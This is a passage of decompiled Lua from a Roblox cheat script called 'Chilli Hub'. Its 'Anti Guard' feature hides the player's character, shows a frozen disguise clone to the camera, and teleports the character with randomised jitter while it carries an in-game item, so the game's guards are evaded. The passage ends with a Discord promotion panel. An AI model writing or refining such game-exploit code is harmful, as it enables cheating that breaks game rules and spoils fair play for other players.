BackgroundColor3 = Color3.fromRGB(28, 26, 32),
BorderSizePixel = 0,
ZIndex = 2,
})
fn35("UICorner", Frame3, { CornerRadius = UDim.new(0, 11) })
local UIStroke2 = fn35(
"UIStroke",
Frame3,
{ Thickness = 1.5, Color = tbl32.Off, ApplyStrokeMode = Enum.ApplyStrokeMode.Border }
)
local ImageLabel = fn35("ImageLabel", Frame3, {
AnchorPoint = Vector2.new(0.5, 0.5),
Position = UDim2.fromScale(0.5, 0.5),
Size = UDim2.fromScale(0.86, 0.86),
BackgroundTransparency = 1,
Image = "rbxassetid://128961717706452",
ImageTransparency = 0.35,
ScaleType = Enum.ScaleType.Crop,
ZIndex = 3,
})
fn35("UICorner", ImageLabel, { CornerRadius = UDim.new(0, 8) })
local UIScale3 = fn35("UIScale", ImageLabel, { Scale = 1 })
local fromRGB2 = Color3.fromRGB
fn35(
"UIGradient",
fn35("TextLabel", Frame2, {
BackgroundTransparency = 1,
Position = UDim2.new(0, 56, 0, 7),
Size = UDim2.new(1, -112, 0, 15),
Font = Enum.Font.BuilderSansExtraBold,
TextSize = 14,
TextXAlignment = Enum.TextXAlignment.Left,
TextColor3 = Color3.fromRGB(255, 255, 255),
Text = "Chilli Hub",
ZIndex = 2,
}),
{ Color = ColorSequence.new(Color3.fromRGB(255, 120, 100), fromRGB2(255, 190, 110)) }
)
fn35("TextLabel", Frame2, {
BackgroundTransparency = 1,
Position = UDim2.new(0, 56, 0, 22),
Size = UDim2.new(1, -112, 0, 20),
Font = Enum.Font.GothamBlack,
TextSize = 15,
TextXAlignment = Enum.TextXAlignment.Left,
TextColor3 = tbl32.Text,
Text = "Anti Guard",
ZIndex = 2,
})
local TextButton = fn35("TextButton", Frame2, {
AnchorPoint = Vector2.new(1, 0.5),
Position = UDim2.new(1, -12, 0.5, 0),
Size = UDim2.fromOffset(42, 22),
BackgroundColor3 = Color3.fromRGB(255, 255, 255),
AutoButtonColor = false,
BorderSizePixel = 0,
Text = "",
ZIndex = 2,
})
fn35("UICorner", TextButton, { CornerRadius = UDim.new(1, 0) })
local UIGradient2 =
fn35("UIGradient", TextButton, { Color = ColorSequence.new(tbl32.Off, tbl32.Off) })
local Frame4 = fn35("Frame", TextButton, {
AnchorPoint = Vector2.new(0, 0.5),
Position = UDim2.new(0, 3, 0.5, 0),
Size = UDim2.fromOffset(16, 16),
BackgroundColor3 = Color3.fromRGB(245, 245, 250),
BorderSizePixel = 0,
ZIndex = 3,
})
fn35("UICorner", Frame4, { CornerRadius = UDim.new(1, 0) })
local function fn37()
local accentA = antiGuard.Enabled and tbl32.AccentA or tbl32.Off
return accentA
end
local function fn38(arg)
local n29 = arg and 0 or 0.28
if antiGuard.Enabled then
UIGradient2.Color = ColorSequence.new(tbl32.AccentA, tbl32.AccentB)
local v31 = UIGradient
local new = ColorSequence.new
local tbl36 = {}
local v32 = ColorSequenceKeypoint.new(0, tbl32.Stroke)
local v33 = ColorSequenceKeypoint.new(0.45, tbl32.AccentA)
local v34 = ColorSequenceKeypoint.new(0.55, tbl32.AccentB)
tbl36[1] = v32
tbl36[2] = v33
tbl36[3] = v34
do
local values = table.pack(ColorSequenceKeypoint.new(1, tbl32.Stroke))
table.move(values, 1, values.n, 4, tbl36)
end
v31.Color = new(tbl36)
fn36(Frame4, n29, { Position = UDim2.new(1, -19, 0.5, 0) }, Enum.EasingStyle.Back)
fn36(ImageLabel, n29, { ImageTransparency = 0 })
fn36(UIStroke, 0.3, { Transparency = 0 })
else
UIGradient2.Color = ColorSequence.new(tbl32.Off, tbl32.Off)
UIGradient.Color = ColorSequence.new(tbl32.Stroke, tbl32.Stroke)
fn36(Frame4, n29, { Position = UDim2.new(0, 3, 0.5, 0) }, Enum.EasingStyle.Back)
fn36(ImageLabel, n29, { ImageTransparency = 0.35 })
fn36(UIStroke, 0.3, { Transparency = 0.2 })
end
local flashUntil = tbl35.FlashUntil
if os.clock() >= flashUntil then
fn36(UIStroke2, n29, { Color = fn37() })
end
end
local function fn39(arg, arg2)
tbl35.FlashRequest = { Color = arg, Hold = arg2 }
end
local function fn40()
local flashRequest = tbl35.FlashRequest
if not flashRequest then
return
end
tbl35.FlashRequest = nil
local v31 = tbl35
local now = os.clock()
local hold = flashRequest.Hold or 0
v31.FlashUntil = now + hold
fn36(UIStroke2, 0.2, { Color = flashRequest.Color })
if flashRequest.Hold then
task.delay(flashRequest.Hold, function()
local flag7 = flag6
if flag6 then
local flashUntil = tbl35.FlashUntil
flag7 = os.clock() >= flashUntil
end
if flag7 then
fn36(UIStroke2, 0.3, { Color = fn37() })
end
end)
end
end
local function fn41(arg)
local handle = antiGuard.Handle
if type(handle) ~= "table" then
return
end
for _, v31 in ipairs({ "Set", "SetValue" }) do
local ok, result = pcall(function()
return handle[v31]
end)
ok = ok and type(result) == "function"
ok = ok and pcall(result, handle, arg)
if ok then
return
end
end
end
antiGuard.Render = fn38
local TextButton2 = fn35(
"TextButton",
Frame2,
{
Size = UDim2.fromScale(1, 1),
BackgroundTransparency = 1,
AutoButtonColor = false,
Text = "",
ZIndex = 10,
}
)
local n29 = #tbl34 + 1
tbl34[n29] = TextButton2.MouseButton1Click:Connect(function()
antiGuard.Enabled = not antiGuard.Enabled
fn38(false)
fn41(antiGuard.Enabled)
fn36(UIScale3, 0.12, { Scale = 1.15 })
task.delay(0.12, function()
if flag6 then
fn36(UIScale3, 0.3, { Scale = 1 }, Enum.EasingStyle.Back)
end
end)
end)
local size = TextButton.Size
local n30 = #tbl34 + 1
tbl34[n30] = TextButton2.MouseEnter:Connect(function()
fn36(TextButton, 0.15, { Size = size + UDim2.fromOffset(2, 2) })
end)
local n31 = #tbl34 + 1
tbl34[n31] = TextButton2.MouseLeave:Connect(function()
fn36(TextButton, 0.15, { Size = size })
end)
local tbl36 = {
Hotbar = true,
HotBar = true,
Toolbar = true,
ToolBar = true,
Backpack = true,
Inventory = true,
}
local tbl37 = {}
local huge = math.huge
local huge2 = math.huge
local n32 = 0
local n33 = nil
local function fn42(arg)
while arg do
if arg:IsA("GuiObject") and not arg.Visible then
return false
end
if arg:IsA("LayerCollector") then
return arg.Enabled
end
arg = arg.Parent
end
return false
end
local function fn43()
local ok, result = pcall(function()
return GuiService:GetGuiInset().Y
end)
if not ok then
result = ok
end
local n34 = result or 0
return n34
end
local function fn44(arg)
local y = nil
for _, descendant in ipairs(arg:GetDescendants()) do
if
descendant:IsA("GuiButton")
and descendant.Visible
and descendant.AbsoluteSize.Y > 8
and descendant.AbsoluteSize.X > 8
then
local y2 = descendant.AbsolutePosition.Y
if not y or y2 < y then
y = y2
end
end
end
y = y or arg.AbsolutePosition.Y
return y
end
local function fn45()
table.clear(tbl37)
local playerGui = localPlayer:FindFirstChildOfClass("PlayerGui")
if not playerGui then
return
end
for _, descendant in ipairs(playerGui:GetDescendants()) do
if descendant:IsA("GuiObject") and tbl36[descendant.Name] then
local n34 = #tbl37 + 1
tbl37[n34] = descendant
end
end
end
local function fn46()
local tbl38 = {}
pcall(function()
if not StarterGui:GetCoreGuiEnabled(Enum.CoreGuiType.Backpack) then
return
end
for _, child in ipairs(CoreGui.RobloxGui.Backpack:GetChildren()) do
if child:IsA("GuiObject") then
local n34 = #tbl38 + 1
tbl38[n34] = child
end
end
end)
for _, v31 in ipairs(tbl37) do
if v31.Parent then
local n34 = #tbl38 + 1
tbl38[n34] = v31
end
end
return tbl38
end
local function fn47()
local currentCamera = workspace.CurrentCamera
if not currentCamera then
return
end
local viewportSize = currentCamera.ViewportSize
if viewportSize.X < 10 or viewportSize.Y < 10 then
return
end
local flag7 = UserInputService.TouchEnabled and not UserInputService.KeyboardEnabled
local n34 = math.min(viewportSize.X / 1280, viewportSize.Y / 720)
local n35 = flag7 and math.clamp(n34 * 1.05, 0.6, 0.8) * 0.97 or math.clamp(n34, 0.8, 1.1)
UIScale.Scale = n35
local n36 = flag7 and 0.3 or 0
if Frame2.BackgroundTransparency ~= n36 then
Frame2.BackgroundTransparency = n36
Frame3.BackgroundTransparency = n36
end
local n37 = viewportSize.Y - 8 * n35
local flag8 = false
for _, v31 in ipairs(fn46()) do
local ok, result = pcall(fn42, v31)
local v32 = result
if not ok then
v32 = ok
end
if v32 then
local absoluteSize = v31.AbsoluteSize
local y = v31.AbsolutePosition.Y
if
absoluteSize.X > 20
and absoluteSize.Y > 20
and absoluteSize.Y < viewportSize.Y * 0.4
and y + absoluteSize.Y / 2 > viewportSize.Y * 0.5
then
local ok2, result2 = pcall(fn44, v31)
if not ok2 then
result2 = ok2
end
result2 = result2 or y
flag8 = true
n37 = math.min(n37, result2 + fn43(v31))
end
end
end
if flag8 then
n33 = viewportSize.Y - n37
elseif n33 then
n37 = viewportSize.Y - n33
end
flag7 = flag7 and 4
flag7 = flag7 or 6
Frame.Position =
UDim2.new(0.5, 0, 0, (math.max(n37 - flag7 * n35 - n28 * n35 / 2, n28 * n35 / 2 + 8)))
end
local n34 = #tbl34 + 1
tbl34[n34] = RunService.RenderStepped:Connect(function(arg)
fn40()
huge = huge + arg
huge2 = huge2 + arg
if huge >= 3 then
huge = 0
pcall(fn45)
end
if 0.2 <= huge2 then
huge2 = 0
pcall(fn47)
end
if antiGuard.Enabled then
local v31 = n32
local n35 = tbl35.Active and 360 or 90
n32 = (v31 + arg * n35) % 360
UIGradient.Rotation = n32
end
end)
fn38(true)
antiGuard.ShowPanel = function(arg)
ScreenGui.Enabled = arg == true
end
ScreenGui.Enabled = antiGuard.PanelShown == true
ScreenGui.Parent = hui
fn36(UIScale2, 0.45, { Scale = 1 }, Enum.EasingStyle.Back)
local function fn48()
local v31 = tbl4.Root()
if not v31 then
return nil
end
for _, child in ipairs(workspace:GetChildren()) do
if child:IsA("Model") and child:FindFirstChild("Hitbox") then
for _, descendant in ipairs(child:GetDescendants()) do
if
descendant:IsA("JointInstance")
or descendant:IsA("WeldConstraint")
or descendant:IsA("RigidConstraint")
then
local ok, result, result2 = pcall(function()
return descendant.Part0, descendant.Part1
end)
ok = ok and (result == v31 or result2 == v31)
if ok then
return child
end
end
end
continue
end
end
return nil
end
local function fn49(arg, arg2)
local tbl38 = {}
for _, descendant in ipairs(arg:GetDescendants()) do
tbl38[descendant] = descendant.Archivable
pcall(function()
descendant.Archivable = true
end)
end
local archivable = arg.Archivable
arg.Archivable = true
local ok, result = pcall(function()
return arg:Clone()
end)
local v31 = result
arg.Archivable = archivable
for k, v32 in pairs(tbl38) do
pcall(function()
k.Archivable = v32
end)
end
if not ok or not v31 then
return nil
end
v31.Name = fn34()
for _, descendant in ipairs(v31:GetDescendants()) do
if
descendant:IsA("LuaSourceContainer")
or descendant:IsA("Sound")
or descendant:IsA("ForceField")
or descendant:IsA("JointInstance")
or descendant:IsA("Constraint")
or descendant:IsA("WeldConstraint")
or descendant:IsA("BodyMover")
or descendant:IsA("ProximityPrompt")
or descendant:IsA("BillboardGui")
then
pcall(function()
descendant:Destroy()
end)
elseif descendant:IsA("BasePart") then
descendant.Anchored = true
descendant.CanCollide = false
descendant.CanQuery = false
descendant.CanTouch = false
elseif descendant:IsA("Humanoid") then
descendant.DisplayDistanceType = Enum.HumanoidDisplayDistanceType.None
descendant.HealthDisplayType = Enum.HumanoidHealthDisplayType.AlwaysOff
end
end
v31.Parent = arg2
return v31
end
local function fn50(arg, arg2)
local currentCamera = workspace.CurrentCamera
if not arg or not currentCamera or tbl35.Disguise then
return
end
arg2 = arg2 or Vector3.new(0, 0, 0)
local tbl38 = {
Camera = currentCamera,
CameraType = currentCamera.CameraType,
CameraCFrame = currentCamera.CFrame,
Copies = {},
Hidden = {},
}
tbl35.Disguise = tbl38
local tbl39 = { arg }
local ok, result = pcall(fn48)
if ok and result then
local n35 = #tbl39 + 1
tbl39[n35] = result
end
for _, v31 in ipairs(tbl39) do
for _, descendant in ipairs(v31:GetDescendants()) do
if
descendant:IsA("BasePart")
or descendant:IsA("Decal")
or descendant:IsA("Texture")
then
local n35 = #tbl38.Hidden + 1
tbl38.Hidden[n35] = descendant
end
end
end
local function fn50()
for _, v31 in ipairs(tbl38.Hidden) do
pcall(function()
v31.LocalTransparencyModifier = 1
end)
end
pcall(function()
if currentCamera.CameraType ~= Enum.CameraType.Scriptable then
currentCamera.CameraType = Enum.CameraType.Scriptable
end
currentCamera.CFrame = tbl38.CameraCFrame
end)
end
fn50()
tbl38.BindName = fn34()
if
not pcall(function()
RunService:BindToRenderStep(
tbl38.BindName,
Enum.RenderPriority.Last.Value + 1,
fn50
)
end)
then
tbl38.BindName = nil
tbl38.Link = RunService.RenderStepped:Connect(fn50)
end
tbl38.Beat = RunService.Heartbeat:Connect(fn50)
for _, v31 in ipairs(tbl39) do
local ok2, result2 = pcall(fn49, v31, currentCamera)
local v32 = result2
if ok2 and v32 then
if 0.01 < arg2.Magnitude then
for _, descendant in ipairs(v32:GetDescendants()) do
if descendant:IsA("BasePart") then
pcall(function()
descendant.CFrame = descendant.CFrame + arg2
end)
end
end
end
local n35 = #tbl38.Copies + 1
tbl38.Copies[n35] = v32
end
end
end
local function fn51()
local disguise = tbl35.Disguise
if not disguise then
return
end
tbl35.Disguise = nil
if disguise.BindName then
pcall(function()
RunService:UnbindFromRenderStep(disguise.BindName)
end)
end
if disguise.Link then
pcall(function()
disguise.Link:Disconnect()
end)
end
if disguise.Beat then
pcall(function()
disguise.Beat:Disconnect()
end)
end
for _, v31 in ipairs(disguise.Hidden) do
pcall(function()
v31.LocalTransparencyModifier = 0
end)
end
pcall(function()
disguise.Camera.CameraType = disguise.CameraType
end)
for _, v31 in ipairs(disguise.Copies) do
pcall(function()
v31:Destroy()
end)
end
end
local function fn52()
for _, v31 in ipairs(tbl33) do
local v32 = workspace
for _, v33 in ipairs(v31.Path) do
v32 = v32 and v32:FindFirstChild(v33)
v32 = v32 or nil
end
if v32 and v32:IsA("BasePart") then
local cFrame = v32.CFrame
return cFrame:PointToWorldSpace(v31.Offset)
end
end
return Vector3.new(528.7000122070313, 70.56999969482422, -364.1099853515625)
end
local function fn53(arg, arg2, arg3, arg4, arg5)
local n35 = CFrame.new(arg3) * arg4
pcall(function()
arg:PivotTo(n35)
end)
if (arg2.Position - arg3).Magnitude > 3 then
pcall(function()
arg2.CFrame = n35
end)
end
if arg5 == false then
return
end
for _, descendant in ipairs(arg:GetDescendants()) do
if descendant:IsA("BasePart") then
pcall(function()
descendant.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
descendant.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
end)
end
end
end
local function fn54()
local areaId = tbl35.AreaId
if type(areaId) ~= "string" or areaId == "" then
areaId = type(tbl4.Steal) == "table" and tbl4.Steal.CarryAreaId or nil
end
if type(areaId) ~= "string" or areaId == "" then
areaId = localPlayer:GetAttribute("AreaId")
local flag7 = type(areaId) == "string"
if not flag7 then
areaId = flag7
end
areaId = areaId or nil
end
return areaId
end
local tbl38 = { lightdark = "LightDark" }
local function fn55(arg)
if type(arg) ~= "string" then
return "Default"
end
local str5 = tbl38[string.lower((string.gsub(arg, "[^%a]", "")))] or "Default"
return str5
end
local function fn56()
local ok, result = pcall(function()
return getgenv().ChilliAntiGuard
end)
ok = ok and type(result) == "table"
if ok then
if type(result.Steps) == "table" then
return result
end
local default = result[fn55(fn54())] or result.Default
if type(default) == "table" then
return default
end
end
local v31 = tbl31[fn55(fn54())] or tbl30
return v31
end
local function fn57(arg, arg2)
local world = workspace:FindFirstChild("World") or workspace:FindFirstChild("__OBJECTS")
world = world and world:FindFirstChild("Areas")
world = world and world:FindFirstChild("SeparationLine")
if world and world:IsA("BasePart") then
local cFrame = world.CFrame
local rightVector = world.Size.X >= world.Size.Z and cFrame.RightVector
or cFrame.LookVector
local v31 = (Vector3.new(0, 1, 0)):Cross(rightVector)
local vector = Vector3.new(v31.X, 0, v31.Z)
if vector.Magnitude > 0.001 then
local unit = vector.Unit
local n35 = (arg2 - cFrame.Position):Dot(unit) >= 0 and -unit or unit
local position = cFrame.Position
local n36 = tonumber(arg.LineOffset) or 8
local n37 = position + n35 * n36
return Vector3.new(n37.X, arg2.Y + 0.5, n37.Z)
end
end
return nil
end
local function fn58(arg, arg2)
local v31 = tostring
local target = arg.Target or "home"
local v32 = v31(target)
if v32 == "sky" then
return arg2
end
if v32 == "point" then
if typeof(arg.Point) == "Vector3" then
return arg.Point
end
return arg2
end
if v32 == "line" then
local v33 = fn57(arg, arg2)
if v33 then
return v33
end
end
return fn52()
end
local function fn59(arg, arg2)
local v31 = fn58(arg, arg2)
local new = Vector3.new
local n35 = tonumber(arg.OffsetX) or 0
local n36 = tonumber(arg.Height) or 0
local n37 = tonumber(arg.OffsetZ) or 0
return v31 + new(n35, n36, n37)
end
local function fn60()
tbl35.Active = false
antiGuard.Busy = false
end
local function fn61(arg)
local max = math.max
local n35 = tonumber(arg) or 0
local v31 = max(n35, 0)
if v31 <= 0 then
return 0
end
return (math.random() * 2 - 1) * v31
end
local function fn62(arg)
local steps = type(arg.Steps) == "table" and arg.Steps or {}
local n35 = tonumber(arg.ReleaseAt) or 0
local max = math.max
local n36 = tonumber(arg.StartAt) or 0
local v31 = max(n36, 0)
local max2 = math.max
local n37 = tonumber(arg.StartRandom) or 0
local v32 = max2(n37, 0)
local max3 = math.max
local n38 = tonumber(arg.HopRandom) or 0
local v33 = max3(n38, 0)
local max4 = math.max
local n39 = tonumber(arg.HoldRandom) or 0
local v34 = max4(n39, 0)
if v32 <= 0 and v33 <= 0 and v34 <= 0 then
return steps, n35, v31
end
local n40 = math.max(v31 + fn61(v32), 0)
local tbl39 = {}
local v35, v36, v37 = ipairs(steps)
local n41 = 0
local n42 = 0
for k, v38 in v35, v36, v37 do
if type(v38) == "table" then
local max5 = math.max
local n43 = tonumber(v38.At) or 0
local v39 = max5(n43, 0)
local n44 = math.max(v39 - n41, 0)
local flag7 = v38.To == "start" and v34 or v33
n42 = math.max(n42 + n44 + fn61(flag7), n40)
tbl39[k] = { At = n42, To = v38.To, Glide = v38.Glide }
n41 = v39
continue
end
break
end
return tbl39, n42 + math.max(n35 - n41, 0), n40
end
local function fn63(arg)
local character = localPlayer.Character
local v31 = tbl4.Root()
local humanoid = character and character:FindFirstChildOfClass("Humanoid")
if not v31 or not humanoid or humanoid.Health <= 0 then
fn60()
fn39(tbl32.Bad, 1.6)
return
end
local function fn63()
local flag7 = flag6
if flag6 then
flag7 = v31.Parent ~= nil
end
flag7 = flag7 and humanoid.Parent ~= nil
flag7 = flag7 and humanoid.Health > 0
return flag7
end
local platformStand = humanoid.PlatformStand
local cFrame = v31.CFrame
local position = cFrame.Position
local v32 = fn56()
local v33, v34, v35 = fn62(v32)
local v36 = v33
local v37 = v34
local v38 = v35
local flag7 = v32.Freeze ~= false
local v39 = tostring
local facing = v32.Facing or "Keep"
local v40 = v39(facing)
local max = math.max
local n35 = tonumber(v32.Jitter) or 0
local v41 = max(n35, 0)
local cframe = v40 == "Zero" and CFrame.new() or cFrame.Rotation
local function fn64()
if v40 == "Spin" then
return CFrame.Angles(0, math.rad(math.random(0, 359)), 0)
end
return cframe
end
local function fn65(arg2)
if v41 <= 0 then
return arg2
end
return arg2
+ Vector3.new((math.random() * 2 - 1) * v41, 0, (math.random() * 2 - 1) * v41)
end
local v42 = fn59(v32, position)
local function fn66(arg2)
while fn63() and os.clock() - arg < arg2 do
RunService.Heartbeat:Wait()
if flag7 then
pcall(function()
v31.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
v31.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
end)
end
end
return fn63()
end
local function fn67(arg2, arg3)
fn53(character, v31, arg2, arg3, flag7)
RunService.PreSimulation:Wait()
if fn63() and (v31.Position - arg2).Magnitude > 3 then
fn53(character, v31, arg2, arg3, flag7)
end
end
pcall(function()
humanoid.BreakJointsOnDeath = false
end)
if v32.Disguise ~= false then
pcall(fn50, character, Vector3.new(0, 0, 0))
end
fn39(tbl32.Work)
if fn66(v38) and v32.Limp ~= false then
humanoid.PlatformStand = true
end
local v43 = position
for _, v44 in ipairs(v36) do
local flag8 = type(v44) ~= "table"
if not flag8 then
local n36 = tonumber(v44.At) or 0
flag8 = not fn66(n36)
end
if not flag8 then
local flag9 = v44.To == "start" and position or fn65(v42)
local v45 = fn64()
if type(v44.Glide) == "table" and #v44.Glide > 0 then
for _, v46 in ipairs(v44.Glide) do
if fn63() then
local clamp = math.clamp
local n36 = tonumber(v46) or 1
fn53(character, v31, v43:Lerp(flag9, (clamp(n36, 0, 1))), v45, flag7)
RunService.Heartbeat:Wait()
continue
end
break
end
v43 = flag9
else
fn67(flag9, v45)
v43 = flag9
end
continue
end
break
end
fn66(v37)
pcall(function()
humanoid.PlatformStand = platformStand
end)
fn51()
fn60()
if fn63() and tbl35.Carrying then
fn39(tbl32.Good, 1.6)
else
fn39(tbl32.Bad, 1.6)
end
end
local function fn64(arg)
if not pcall(fn63, arg) then
pcall(function()
local character = localPlayer.Character
local humanoid = character and character:FindFirstChildOfClass("Humanoid")
if humanoid then
humanoid.PlatformStand = false
end
end)
fn51()
fn60()
fn39(tbl32.Bad, 1.6)
end
end
local n35 = 25
local function fn65()
if antiGuard.HitArms <= 0 then
return false
end
local now = os.clock()
local hitArmedAt = antiGuard.HitArmedAt or 0
if now - hitArmedAt > n35 then
antiGuard.HitArms = 0
return false
end
return true
end
local function fn66()
local carrying = tbl35.Carrying
local v31 = tbl35
v31.Carrying = tbl35.SignalCarrying or tbl35.WeldCarrying
if
tbl35.Carrying
and not carrying
and flag6
and antiGuard.Enabled
and not tbl35.Active
and not fn65()
then
tbl35.Active = true
antiGuard.Busy = true
antiGuard.BusySince = os.clock()
task.spawn(fn64, os.clock())
end
end
local eggState = tbl.EggState
local carryChanged = type(eggState) == "table" and eggState.CarryChanged or nil
if type(carryChanged) == "table" and type(carryChanged.Connect) == "function" then
local ok, result = pcall(carryChanged.Connect, carryChanged, function(arg)
local flag7 = type(arg) == "table" and arg.IsCarrying == true
if flag7 and arg.GuardDisabled == true then
flag7 = false
end
if flag7 and type(arg.AreaId) == "string" then
tbl35.AreaId = arg.AreaId
end
if not flag7 then
tbl35.AreaId = nil
end
tbl35.SignalCarrying = flag7
fn66()
end)
ok = ok and result
if ok then
local n36 = #tbl34 + 1
tbl34[n36] = result
end
end
local n36 = 0
local n37 = #tbl34 + 1
tbl34[n37] = RunService.Heartbeat:Connect(function(arg)
local busy = antiGuard.Busy or tbl35.Active
if busy then
local busySince = antiGuard.BusySince
local n38 = os.clock() - busySince
local max = math.max
local busyLimit = tonumber(fn56().BusyLimit) or tbl30.BusyLimit
local n39 = tonumber(fn56().ReleaseAt) or 0
busy = n38 > max(busyLimit, n39 + 1)
end
if busy then
fn51()
local humanoid = localPlayer.Character
and localPlayer.Character:FindFirstChildOfClass("Humanoid")
if humanoid and humanoid.PlatformStand then
pcall(function()
humanoid.PlatformStand = false
end)
end
fn60()
end
fn65()
n36 = n36 + arg
if n36 < tbl30.WeldScanGap then
return
end
n36 = 0
local flag7 = fn48() ~= nil
if flag7 ~= tbl35.WeldCarrying then
tbl35.WeldCarrying = flag7
fn66()
end
end)
fn6(function()
flag6 = false
for _, v31 in ipairs(tbl34) do
pcall(function()
v31:Disconnect()
end)
end
table.clear(tbl34)
fn51()
fn60()
antiGuard.Render = nil
antiGuard.ShowPanel = nil
pcall(function()
ScreenGui:Destroy()
end)
end)
end
do
local v31
v31 = v2:CreateTab({ Name = "Discord", Side = "Right", SectionsExpanded = true })
:CreateSection({ Name = "Community", Expanded = true })
local str5
str5 = "discord.gg/CJK4bs2mgT"
local str6
str6 = "rbxassetid://128961717706452"
local n28
n28 = 0.5
local n29
n29 = 0.0909
local n30
n30 = 0.2
local n31
n31 = 5.4
do
local n32 = 4.2
local n33 = 5.2
local n34 = 6
local n35 = 3.6
local n36 = 6.4
local n37 = 2
local n38 = 11.4
local n39 = 3
local n40 = 0.35
local tbl31 = {
{
Color = "#FF6A55",
Title = "New Scripts & Updates",
Text = "Patch notes and new game scripts are posted there first.",
},
{
Color = "#FFB054",
Title = "Giveaways",
Text = "Member giveaways and events are announced in the server.",
},
{
Color = "#9AA3FF",
Title = "Support",
Text = "Ask for help, report bugs and get answers from the team.",
},
{
Color = "#6EE49C",
Title = "Suggestions",
Text = "Request features and vote on what gets added next.",
},
}
local n41 = n38 + #tbl31 * (n39 + n40) + 2.4 + n30 * 2
local new = ColorSequence.new
local tbl32 = {}
local v32 = ColorSequenceKeypoint.new(0, Color3.fromRGB(255, 218, 96))
local v33 = ColorSequenceKeypoint.new(0.5, Color3.fromRGB(255, 152, 60))
local new2 = ColorSequenceKeypoint.new
local fromRGB2 = Color3.fromRGB
tbl32[1] = v32
tbl32[2] = v33
do
local values = table.pack(new2(1, fromRGB2(255, 82, 64)))
table.move(values, 1, values.n, 3, tbl32)
end
local v34 = new(tbl32)
local fromRGB3 = Color3.fromRGB
local colorSequence = ColorSequence.new(Color3.fromRGB(74, 24, 18), fromRGB3(14, 11, 15))
local tbl33 = { Perks = {} }
local n42 = 0
local function fn33()
local v35 = setclipboard or toclipboard
local ok = type(v35) == "function" and pcall(v35, "https://discord.gg/CJK4bs2mgT")
or false
fn32(ok and "Discord Link Copied" or "Discord Link", "https://discord.gg/CJK4bs2mgT")
if not tbl33.Copy then
return
end
n42 = n42 + 1
local v36 = n42
local set = tbl33.Copy.Set
local tbl34 = {}
tbl34.Text = ok and "<b>Copied!</b>" or "<b>See Notice</b>"
ok = ok and "#2EB070"
ok = ok or "#5865F2"
tbl34.Background = ok
set(tbl34)
task.delay(1.8, function()
if v36 == n42 and tbl33.Copy then
tbl33.Copy.Set({ Text = "<b>Copy Link</b>", Background = "#5865F2" })
end
end)
end
local function fn34(arg)
if not tbl33.Hero then
return
end
local n43 = n30 * 2
local n44 = math.max(arg, 14) - n43
local n45 = math.max(1, n44 - n33 - n28)
local n46 = math.max(1, n44 - n36 - n28 * 3)
local n47 = math.max(1, n44 - 1.2)
tbl33.Hero.Set({ Width = n44 })
tbl33.Title.Set({ Width = n45 })
tbl33.Subtitle.Set({ Width = n45 })
tbl33.Members.Set({ Width = n45 })
tbl33.Invite.Set({ Width = n44 })
tbl33.Label.Set({ Width = n46 })
tbl33.Link.Set({ Width = n46 })
tbl33.Copy.Set({ X = n44 - n36 - n28 })
tbl33.Header.Set({ Width = n44 })
for _, v35 in ipairs(tbl33.Perks) do
v35.Frame.Set({ Width = n44 })
v35.Title.Set({ Width = n47 })
v35.Text.Set({ Width = n47 })
end
tbl33.Tip.Set({ Width = n44 })
end
local function fn35(arg)
tbl33.Hero = arg:Frame({
Name = "Hero",
X = n30,
Y = n30,
Width = 14,
Height = n31,
Background = "#FFFFFF",
Gradient = colorSequence,
GradientRotation = 0,
Corner = 0.35,
StrokeColor = "#FF6A40",
StrokeThickness = n29,
StrokeTransparency = 0.55,
})
tbl33.Logo = arg:Image({
Parent = tbl33.Hero,
X = 0.5,
Y = (n31 - n32) / 2,
Width = n32,
Height = n32,
Image = str6,
})
tbl33.Title = arg:Text({
Parent = tbl33.Hero,
X = n33,
Y = 0.45,
Width = 1,
Height = 1.6,
Scale = 1.45,
Wrap = false,
Text = "<b>Chilli Hub</b>",
Gradient = v34,
GradientRotation = 0,
TextStrokeTransparency = 1,
})
tbl33.Subtitle = arg:Text({
Parent = tbl33.Hero,
X = n33,
Y = 2.1,
Width = 1,
Height = 1,
Wrap = false,
Text = "Official Discord Community",
Color = "#DCDCE8",
})
tbl33.Members = arg:Text({
Parent = tbl33.Hero,
X = n33,
Y = 3.3,
Width = 1,
Height = 1.2,
Wrap = false,
Text = '<font color="#6EE49C">\226\151\143</font> <b>130K+</b> <font color="#B8B8CC">Members</font>',
})
tbl33.Invite = arg:Frame({
Name = "Invite",
X = n30,
Y = n34 + n30,
Width = 14,
Height = n35,
Background = "#000000",
BackgroundTransparency = 0.5,
Corner = 0.35,
StrokeColor = "#5865F2",
StrokeThickness = n29,
StrokeTransparency = 0.35,
})
tbl33.Label = arg:Text({
Parent = tbl33.Invite,
X = n28 + 0.1,
Y = 0.35,
Width = 1,
Height = 0.9,
Scale = 0.78,
Wrap = false,
Text = "<b>INVITE LINK</b>",
Color = "#9C9CB4",
})
tbl33.Link = arg:Text({
Parent = tbl33.Invite,
X = n28 + 0.1,
Y = 1.35,
Width = 1,
Height = 1.6,
Scale = 1.05,
Wrap = false,
Font = "code",
Text = str5,
})
tbl33.Copy = arg:Button({
Parent = tbl33.Invite,
X = 14 - n36 - n28,
Y = (n35 - n37) / 2,
Width = n36,
Height = n37,
Text = "<b>Copy Link</b>",
Color = "#FFFFFF",
Scale = 1,
Background = "#5865F2",
BackgroundTransparency = 0,
HoverTransparency = 0.15,
PressTransparency = 0.3,
StrokeColor = "#9AA3FF",
StrokeThickness = n29,
Corner = 0.3,
Callback = fn33,
})
tbl33.Header = arg:Text({
X = n30 + 0.1,
Y = n38 - 1.15 + n30,
Width = 14,
Height = 1,
Scale = 0.8,
Wrap = false,
Text = "<b>WHAT YOU GET</b>",
Color = "#9C9CB4",
})
for i, v35 in ipairs(tbl31) do
local tbl34 = {
Frame = arg:Frame({
Name = "Perk",
X = n30,
Y = n38 + (i - 1) * (n39 + n40) + n30,
Width = 14,
Height = n39,
Background = "#000000",
BackgroundTransparency = 0.68,
Corner = 0.35,
}),
}
tbl34.Accent = arg:Frame({
Parent = tbl34.Frame,
X = 0.3,
Y = 0.45,
Width = 0.22,
Height = n39 - 0.9,
Background = v35.Color,
Corner = 0.11,
})
tbl34.Title = arg:Text({
Parent = tbl34.Frame,
X = 0.85,
Y = 0.3,
Width = 1,
Height = 1.1,
Wrap = false,
Text = "<b>" .. v35.Title .. "</b>",
Color = v35.Color,
})
tbl34.Text = arg:Text({
Parent = tbl34.Frame,
